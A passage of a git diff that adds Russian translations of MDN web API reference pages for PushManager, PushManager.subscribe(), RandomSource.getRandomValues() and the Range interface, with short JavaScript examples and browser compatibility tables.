+ <dd>Returns a {{jsxref("Promise")}} that resolves to the <code>PushPermissionStatus</code> of the requesting webapp, which will be one of <code>granted</code>, <code>denied</code>, or <code>default</code>. Replaced by {{domxref("PushManager.permissionState()")}}.</dd>
+ <dt>{{domxref("PushManager.register()")}}</dt>
+ <dd>Subscribes to a push subscription. Replaced by {{domxref("PushManager.subscribe()")}}.</dd>
+ <dt>{{domxref("PushManager.registrations()")}}</dt>
+ <dd>Retrieves existing push subscriptions. Replaced by {{domxref("PushManager.getSubscription()")}}.</dd>
+ <dt>{{domxref("PushManager.unregister()")}}</dt>
+ <dd>Unregisters and deletes a specified subscription endpoint. In the updated API, a subscription is can be unregistered via the {{domxref("PushSubscription.unsubscribe()")}} method.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#pushmanager-interface','PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.PushManager")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Использование Push API</a></li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push сообщения в Open Web</a>, Matt Gaunt</li>
+</ul>
diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html
new file mode 100644
index 0000000000..a264d593d7
--- /dev/null
+++ b/files/ru/web/api/pushmanager/subscribe/index.html
@@ -0,0 +1,144 @@
+---
+title: PushManager.subscribe()
+slug: Web/API/PushManager/subscribe
+translation_of: Web/API/PushManager/subscribe
+---
+<p>{{SeeCompatTable}}{{ApiRef("Push API")}}</p>
+
+<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><strong>subscribe()</strong></code> интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.</p>
+
+<p>Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">​PushManager.subscribe(options).then(function(pushSubscription) { ... } );</pre>
+
+<h3 id="Свойства">Свойства</h3>
+
+<dl>
+ <dt><code>options {{optional_inline}}</code></dt>
+ <dd>Объект, содержащий необязательные параметры конфигурации. Может иметь следующие свойства:
+ <ul>
+  <li><code>userVisibleOnly</code>: Булевое значение, указывающее на то, будет ли возвращаемая подписка использоваться для сообщений, чей эффект может быть видим для пользователя.</li>
+  <li><code>applicationServerKey</code>: открытый ключ ECDSA P-256, закодированный в Base64 {{domxref ('DOMString')}} или {{domxref ('ArrayBuffer')}}}, содержащий , который push-сервер будет использовать для аутентификации сервера приложений. Если указано, все сообщения с сервера Вашего приложения должны использовать схему аутентификации VAPID и включать JWT, подписанный соответствующим закрытым ключом. Этот ключ <strong><em>НЕ </em></strong>тот же ключ ECDH, который вы используете для шифрования данных. Для получения дополнительной информации см. «<a href="https://blog.mozilla.org/services/2016/04/04/using-vapid-with-webpush/">Using VAPID with WebPush</a>».</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><em><strong>Примечание: </strong>Свойство, требуемое некоторыми браузерами, например Chrome и Edge.</em></p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{jsxref("Promise")}} который разрешается в объект {{domxref("PushSubscription")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  <code>// Отсюда можно записывать данные в IndexedDB, отправлять их в любое
+  // открытое окно, отображать уведомление и т. д.</code>
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        <code>// Детали push-подписки, требуемые сервером приложения,
+        // теперь доступны, и могут быть отправлены, к примеру,
+        // при помощи XMLHttpRequest.</code>
+      }, function(error) {
+        <code>// При разработке это часто помогает отлавливать ошибки в консоли.
+        // В продакшен-среде это также может быть полезно для отправки отчета
+        // об ошибках на сервер приложения.</code>
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#widl-PushManager-subscribe-Promise-PushSubscription--PushSubscriptionOptions-options', 'subscribe()')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Android Webview</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">Firefox OS</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a></li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ru/web/api/randomsource/getrandomvalues/index.html b/files/ru/web/api/randomsource/getrandomvalues/index.html
new file mode 100644
index 0000000000..c59f5dde54
--- /dev/null
+++ b/files/ru/web/api/randomsource/getrandomvalues/index.html
@@ -0,0 +1,73 @@
+---
+title: RandomSource.getRandomValues()
+slug: Web/API/RandomSource/getRandomValues
+tags:
+  - АПИ
+  - Криптография
+  - Справка
+  - метод
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>Метод <code><strong>RandomSource.getRandomValues()</strong></code> позволяет вам получать криптографически стойкие числа. Массив, переданный как параметр, заполняется случайными числами (случайными в криптографическом смысле).</p>
+
+<p>Для того, чтобы гарантировать достаточную производительность, реализации используют не настоящий генератор случайных чисел (RNG, en - Random Number Generator), а генератор псевдо-случайных чисел, которому предоставлено начальное зерно (wiki - <a href="https://en.wikipedia.org/wiki/Random_seed">https://en.wikipedia.org/wiki/Random_seed</a>) с достаточной энтропией (<a href="http://cryptography.ru/ref/энтропия">http://cryptography.ru/ref/энтропия</a>). Реализация генератора псевдо-случайных чисел (PRNG, en - PseudoRandom Number Generator) отличается от других реализаций RNG, но она больше подходит для использования в криптографии. Реализации также требуют использование начального зерна с достаточной энтропией, как источник системно-уровневой энтропии.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>cryptoObj</em>.getRandomValues(<em>typedArray</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Целочисленный массив {{jsxref("TypedArray")}}, например {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}}, или {{jsxref("Uint32Array")}}. Все элементы массива замещаются случайными числами.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>Исключение {{exception("QuotaExceededError")}} {{domxref("DOMException")}} выбрасывается если запрошенная длина больше чем 65536 байт.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">/* Предполагается что функция window.crypto.getRandomValues доступна */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Ваше счастливое число:");
+for (var i = 0; i &lt; array.length; i++) {
+    console.log(array[i]);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Crypto.getRandomValues")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} чтобы получить объект {{domxref("Crypto")}}.</li>
+ <li>{{jsxref("Math.random")}}, не криптографический способ получения случайных чисел.</li>
+</ul>
diff --git a/files/ru/web/api/randomsource/index.html b/files/ru/web/api/randomsource/index.html
new file mode 100644
index 0000000000..606b198440
--- /dev/null
+++ b/files/ru/web/api/randomsource/index.html
@@ -0,0 +1,110 @@
+---
+title: RandomSource
+slug: Web/API/RandomSource
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - RandomSource
+  - Reference
+  - TopicStub
+  - Web Crypto API
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p><strong><code>RandomSource</code></strong> представляет собой источник криптографически безопасных случайных чисел. Он доступен через {{domxref("Crypto")}} объект глобального объекта: {{domxref("Window.crypto")}} на веб страницах, {{domxref("WorkerGlobalScope.crypto")}} для воркеров.</p>
+
+<p><code>RandomSource</code> не является интерфейсом и объект этого типа не может быть создан.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>RandomSource</code> не объявляет и не наследует никаких свойств.</em></p>
+
+<dl>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>Наполняет {{ domxref("ArrayBufferView") }} криптографически безопасными случайными числовыми значениями.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#dfn-RandomSource')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>11.0 {{ webkitbug("22049") }}</td>
+   <td>{{CompatGeckoDesktop(21)}} [1]</td>
+   <td>11.0</td>
+   <td>15.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>23</td>
+   <td>{{CompatGeckoMobile(21)}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Although the transparent <code>RandomSource</code> is only available since Firefox 26, the feature was available in Firefox 21.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} to get a {{domxref("Crypto")}} object.</li>
+ <li>{{jsxref("Math.random")}}, не криптографический источник случайных чисел.</li>
+</ul>
diff --git a/files/ru/web/api/range/collapsed/index.html b/files/ru/web/api/range/collapsed/index.html
new file mode 100644
index 0000000000..b91eed643c
--- /dev/null
+++ b/files/ru/web/api/range/collapsed/index.html
@@ -0,0 +1,104 @@
+---
+title: Range.collapsed
+slug: Web/API/Range/collapsed
+translation_of: Web/API/Range/collapsed
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+</div>
+
+<p>Доступное только для чтения свойство <code><strong>Range.collapsed</strong></code> возвращает флаг {{domxref("Boolean")}}, который указывает, в одной ли и той же позиции находятся начало и конец диапазона {{domxref("Range")}}. Оно возвращает <code>true</code>, если начало и конец граничных точех диапазона {{domxref("Range")}} являются одной и той же точкой в DOM, <code>false</code> – в противном случае.</p>
+
+<p>Свёрнутый диапазон {{domxref("Range")}} является пустым, не имеет содержимого, определяет единую точку в древе DOM. Для того, чтобы свернуть диапазон, смотрите метод {{domxref("Range.collapse()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>isCollapsed</em> = <em>range</em>.collapsed;
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+isCollapsed = range.collapsed;
+</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'Range.collapsed')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-collapsed', 'Range.collapsed')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/range/getboundingclientrect/index.html b/files/ru/web/api/range/getboundingclientrect/index.html
new file mode 100644
index 0000000000..9948c1d820
--- /dev/null
+++ b/files/ru/web/api/range/getboundingclientrect/index.html
@@ -0,0 +1,81 @@
+---
+title: Range.getBoundingClientRect
+slug: Web/API/Range/getBoundingClientRect
+translation_of: Web/API/Range/getBoundingClientRect
+---
+<p>{{ ApiRef("Range") }}{{SeeCompatTable}}</p>
+<p>Метод <strong><code>Range.getBoundingClientRect()</code></strong> возвращает объект {{ domxref("ClientRect") }}, соотвествующий фрагменту документа, на основе которого создан объект Range; это прямоугольник, непосредственно обрамляющий объединение прямоугольников для каждого элемента фрагмента документа.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><em>boundingRect</em> = <em>range</em>.getBoundingClientRect()
+</pre>
+<h2 id="Example" name="Example">Пример</h2>
+<pre class="brush: js">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+rect = range.getBoundingClientRect();
+</pre>
+<h2 id="Specification" name="Specification">Спецификация</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-range-getboundingclientrect', 'Range.getBoundingClientRect()')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("2.0")}}</td>
+    <td>9.0</td>
+    <td>15.0</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("2.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>15.0</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+ <li> </li>
+</ul>
diff --git a/files/ru/web/api/range/index.html b/files/ru/web/api/range/index.html
new file mode 100644
index 0000000000..b46091e373
--- /dev/null
+++ b/files/ru/web/api/range/index.html
@@ -0,0 +1,243 @@
+---
+title: Range
+slug: Web/API/Range
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Range
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Range(диапазон)</code></strong> интерфейс предоставляет фрагмент документа который может содержать узлы и части текстовых узлов  данного документа. </p>
+
+<p>Range может быть создан с помощью метода {{ domxref("Document.createRange", "createRange") }}, у объекта {{ domxref("Document") }}. Или объект Range можно получить с помощью метода {{ domxref("Selection/getRangeAt", "getRangeAt") }}, у объекта {{ domxref("Selection") }}. А также с помощью конструктора {{domxref("Range.Range()", "Range()")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p>Нет унаследованных свойств.</p>
+
+<p><strong>{{domxref("Range.collapsed")}} {{readonlyInline}}</strong><br>
+ Возвращает {{domxref("Boolean")}} указывающий, находятся ли начало и конец диапазона<br>
+ на одной и той же позиции.</p>
+
+<dl>
+ <dt>{{domxref("Range.startContainer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{ domxref("Node") }} внутри которого <code>Range</code> начинается.</dd>
+ <dt>{{domxref("Range.endContainer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{ domxref("Node") }} внутри которого <code>Range</code> заканчивается .</dd>
+ <dt>{{domxref("Range.commonAncestorContainer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает самый глубокий {{ domxref("Node") }} который содержит узлы <code>startContainer</code> и <code>endContainer</code>.</dd>
+ <dt>{{domxref("Range.endOffset")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число равное расположению <code>endContainer</code> в <code>Range</code> .</dd>
+ <dt></dt>
+ <dt>{{domxref("Range.startOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns a number representing where in the <code>startContainer</code> the <code>Range</code> starts.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}</dt>
+ <dd>Возвращают объект <code>Range</code> с глобальным  {{domxref("Document")}} как начало и конец.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Не имеют унаследованных свойств.</em></p>
+
+<dl>
+ <dt>{{ domxref("Range.setStart()")}}</dt>
+ <dd>Назначают начальную позицию <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.setEnd()")}}</dt>
+ <dd>Назначает конечную позицию <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.setStartBefore()")}}</dt>
+ <dd>Устанавливает начальную позицию <code>Range</code> относительно другого {{ domxref("Node") }} пред ним.</dd>
+ <dt>{{ domxref("Range.setStartAfter()")}}</dt>
+ <dd>Устанавливает начальную позицию <code>Range</code> относительно другого {{ domxref("Node") }} после него.</dd>
+ <dt>{{ domxref("Range.setEndBefore()")}}</dt>
+ <dd>Устанавливает конечную позицию <code>Range</code> относительно другого {{ domxref("Node") }} перед ним.</dd>
+ <dt>{{ domxref("Range.setEndAfter()")}}</dt>
+ <dd>Устанавливает конечную позицию <code>Range</code> относительно другого {{ domxref("Node") }} после него.</dd>
+ <dt>{{ domxref("Range.selectNode()")}}</dt>
+ <dd>Выбирает <code>Range</code> to содержащий {{ domxref("Node") }} и его контент.</dd>
+ <dt>{{ domxref("Range.selectNodeContents()")}}</dt>
+ <dd>Выбирает <code>Range</code> содержащий контент {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.collapse()")}}</dt>
+ <dd>Схлопавыет <code>Range</code> до одной из граничных точек.</dd>
+ <dt>{{ domxref("Range.cloneContents()")}}</dt>
+ <dd>Возвращает {{ domxref("DocumentFragment") }} содержащийся в узле <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.deleteContents()")}}</dt>
+ <dd>Удаляет содержимое <code>Range</code> из{{ domxref("Document") }}.</dd>
+ <dt>{{ domxref("Range.extractContents()")}}</dt>
+ <dd>Переносит содержимое <code>Range</code> из дерева документа в {{ domxref("DocumentFragment") }}.</dd>
+ <dt>{{ domxref("Range.insertNode()")}}</dt>
+ <dd>Вставляет a {{ domxref("Node") }} в начало <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.surroundContents()")}}</dt>
+ <dd>Переносит содержимое <code>Range</code> в новый {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.compareBoundaryPoints()")}}</dt>
+ <dd>Сравнивает граничные точки <code>Range</code> с другим <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.cloneRange()")}}</dt>
+ <dd>Возвращает  объект из <code>Range</code> с граничными точками идентичными клонированному <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.detach()")}}</dt>
+ <dd><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Освобождает </span></font>Range</code> от использования для улучшения производительности .</dd>
+ <dt>{{ domxref("Range.toString()")}}</dt>
+ <dd>Возвращает текст в <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}</dt>
+ <dd>Возвращает константу, представляющую, находится ли {{domxref("Node")}} до, после, внутри или вокруг  range.</dd>
+ <dt>{{ domxref("Range.comparePoint()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает -1, 0, или 1 в зависимости от того, находиться ли referenceNode перед, внутри, или после  <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{ domxref("DocumentFragment") }} созданный из полученной строки с кодом.</dd>
+ <dt>{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}</dt>
+ <dd>Возвращает объект {{ domxref("ClientRect") }} object which bounds the entire contents of the <code>Range</code>; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.</dd>
+ <dt>{{ domxref("Range.getClientRects()") }} {{experimental_inline}}</dt>
+ <dd>Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>boolean</code> указывающий, пересекает ли данный узел <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given point is in the <code>Range</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Do not use <code>RangeException</code> anymore, use <code>DOMException</code> instead.<br>
+    Made the second parameter of <code>collapse()</code> optional.<br>
+    Added the methods <code>isPointInRange()</code>, <code>comparePoint()</code>, and <code>intersectsNode()</code>.<br>
+    Added the constructor <code>Range()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Added the method <code>createContextualFragment()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the methods <code>getClientRects()</code> and <code>getBoundingClientRect()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Range()</code> constructor {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
